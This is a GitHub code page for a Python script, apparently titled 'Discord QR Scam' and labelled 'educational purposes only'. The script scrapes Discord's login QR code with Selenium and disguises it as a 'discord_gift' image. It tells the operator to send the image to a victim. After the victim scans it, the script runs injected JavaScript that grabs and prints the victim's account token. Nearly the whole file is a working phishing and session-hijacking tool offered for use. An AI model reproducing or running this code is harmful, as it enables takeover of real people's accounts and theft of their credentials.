-
Notifications
You must be signed in to change notification settings - Fork 103
/
Copy pathQR_Generator.py
85 lines (68 loc) · 2.33 KB
/
QR_Generator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from bs4 import BeautifulSoup
from selenium import webdriver
from PIL import Image
import base64
import time
import os
# Developer: NightfallGT
# Educational purposes only
def logo_qr():
im1 = Image.open('temp/qr_code.png', 'r')
im2 = Image.open('temp/overlay.png', 'r')
im2_w, im2_h = im2.size
im1.paste(im2, (60, 55))
im1.save('temp/final_qr.png', quality=95)
def paste_template():
im1 = Image.open('temp/template.png', 'r')
im2 = Image.open('temp/final_qr.png', 'r')
im1.paste(im2, (120, 409))
im1.save('discord_gift.png', quality=95)
def main():
print('github.com/NightfallGT/Discord-QR-Scam\n')
print('** QR Code Scam Generator **')
options = webdriver.ChromeOptions()
options.add_experimental_option('excludeSwitches', ['enable-logging'])
options.add_experimental_option('detach', True)
driver = webdriver.Chrome(options=options, executable_path=r'chromedriver.exe')
driver.get('https://discord.com/login')
time.sleep(5)
print('- Page loaded.')
page_source = driver.page_source
soup = BeautifulSoup(page_source, features='lxml')
div = soup.find('div', {'class': 'qrCode-wG6ZgU'})
qr_code = div.find('img')['src']
file = os.path.join(os.getcwd(), 'temp/qr_code.png')
img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', ''))
with open(file,'wb') as handler:
handler.write(img_data)
discord_login = driver.current_url
logo_qr()
paste_template()
print('- QR Code has been generated. > discord_gift.png')
print('Send the QR Code to user and scan. Waiting..')
while True:
if discord_login != driver.current_url:
print('Grabbing token..')
token = driver.execute_script('''
var req = webpackJsonp.push([
[], {
extra_id: (e, t, r) => e.exports = r
},
[
["extra_id"]
]
]);
for (let e in req.c)
if (req.c.hasOwnProperty(e)) {
let t = req.c[e].exports;
if (t && t.__esModule && t.default)
for (let e in t.default) "getToken" === e && (token = t.default.getToken())
}
return token;
''')
print('---')
print('Token grabbed:',token)
break
print('Task complete.')
if __name__ == '__main__':
main()